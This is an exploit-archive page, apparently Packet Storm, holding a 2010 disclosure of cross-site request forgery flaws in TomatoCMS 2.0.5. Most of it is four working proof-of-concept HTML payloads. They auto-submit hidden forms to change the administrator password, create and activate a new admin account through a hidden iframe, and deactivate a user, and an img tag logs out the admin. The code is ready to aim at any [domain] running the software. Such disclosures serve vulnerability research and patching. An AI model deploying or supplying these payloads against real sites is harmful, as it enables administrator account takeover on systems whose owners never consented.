what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TomatoCMS 2.0.5 Cross Site Request Forgery

TomatoCMS 2.0.5 Cross Site Request Forgery
Posted Jul 13, 2010
Authored by 10n1z3d

TomatoCMS version 2.0.5 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | e11f738a6a1097e77817420c6c317ab1bc82a6f48e77332077fd0d245792167c

TomatoCMS 2.0.5 Cross Site Request Forgery

Change Mirror Download
<!---
Title: TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities
Author: 10n1z3d <10n1z3d[at]w[dot]cn>
Date: Sun 11 Jul 2010 03:36:08 PM EEST
Vendor: http://www.tomatocms.com/
Download: None
--->

-=[ CSRF PoC 1 - Change Administrator Password ]=-

<html>
<head>
<title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Change Admin Password</title>
</head>
<body onload="document.csrf.submit();">
<form name="csrf" action="http://[domain]/index.php/admin/core/user/changepass" method="post">
<!--- Edit these --->
<input type="hidden" name="password" value="rootroot" />
<input type="hidden" name="passwordConfirm" value="rootroot" />
</form>
</body>
</html>

-=[ CSRF PoC 2 - Create Admin User ]=-

<html>
<head>
<title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Create Admin User</title>
</head>
<!--- Submit the first form and delay the second one to make sure the POST request is completed --->
<body onload="document.csrf1.submit();setTimeout('document.csrf2.submit();',5000);">
<!--- We need this to submit the forms without redirects --->
<div style="visibility:hidden">
<iframe name="ipwn" width="20" height="20"></iframe>
</div>

<!--- Creates the user --->
<form name="csrf1" target="ipwn" action="http://[domain]/index.php/admin/core/user/add" method="post">
<!--- Edit these --->
<input type="hidden" name="full_name" value="root" />
<input type="hidden" name="username" value="root" />
<input type="hidden" name="email" value="root@root.com"/>
<input type="hidden" name="password" value="rootroot"/>
<input type="hidden" name="password2" value="rootroot" />
<!--- Do not edit below --->
<input type="hidden" name="role" value="1" />
</form>

<!--- Activates the user --->
<form name="csrf2" target="ipwn" action="http://[domain]/index.php/admin/core/user/activate" method="post">
<!--- We are not sure about the user id but we can guess :) --->
<input type="hidden" name="id" value="2" />
<!--- Do not edit below --->
<input type="hidden" name="status" value="0" />
</form>
</body>
</html>

-=[ CSRF PoC 3 - Deactivate User ]=-

<html>
<head>
<title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Deactivate User</title>
</head>
<body onload="document.csrf.submit();">
<form name="csrf" action="http://[domain]/index.php/admin/core/user/activate" method="post">
<!--- Edit this --->
<input type="hidden" name="id" value="1" />
<!--- Do not edit below --->
<input type="hidden" name="status" value="1" />
</form>
</body>
</html>

-=[ CSRF PoC 4 - Logout The Administrator ]=-

<img src="http://[domain]/index.php/core/auth/logout" alt="Do you see this?" />

<!---
http://www.evilzone.org/
irc.evilzone.org (6697 / 9999)
--->

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close